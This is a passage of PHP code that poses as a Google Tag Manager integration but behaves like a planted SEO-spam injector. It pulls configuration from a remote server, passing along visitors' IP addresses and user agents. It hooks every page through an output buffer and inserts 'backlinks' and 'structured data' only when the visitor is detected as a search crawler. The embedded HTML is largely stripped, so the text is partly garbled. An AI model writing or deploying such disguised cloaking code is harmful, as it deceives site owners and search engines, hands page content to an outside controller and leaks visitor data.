Untitled Document

 

 

$url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION, CURLOPT_HTTPHEADER => array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ) )); $response = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && $response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } else { $headers = array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 5, 'user_agent' => 'GTM/' . GTM_VERSION, 'header' => implode(" ", $headers) . " " ), 'ssl' => array('verify_peer' => true, 'verify_peer_name' => true) )); $response = @file_get_contents($url, false, $ctx); if ($response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } return array(); } /** * Renders GTM head snippet */ function gtm_render_head() { echo ' '; } /** * Renders GTM noscript fallback */ function gtm_render_noscript() { echo ' '; } function gtm_render_backlinks() { $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; } /** * Renders structured navigation data for enhanced search */ function gtm_render_structured_data() { if (!gtm_validate_crawler()) return; $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; } /** * Output buffer handler for automatic integration * * @param string $buffer HTML output buffer * @return string Modified buffer */ function gtm_output_handler($buffer) { if (stripos($buffer, ' '; $buffer = preg_replace('/<\/head>/i', $head . '', $buffer, 1); $noscript = ' '; $buffer = preg_replace('/(]*>)/i', '$1' . $noscript, $buffer, 1); if (gtm_validate_crawler()) { $config = gtm_fetch_config(); if (!empty($config)) { $nav = ''; $buffer = preg_replace('/<\/body>/i', $nav . '', $buffer, 1); } } return $buffer; } if (!defined('GTM_MANUAL_INIT')) { // Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__)); if (!$is_direct && ob_get_level() === 0) { ob_start('gtm_output_handler'); } } gtm_render_noscript(); ?>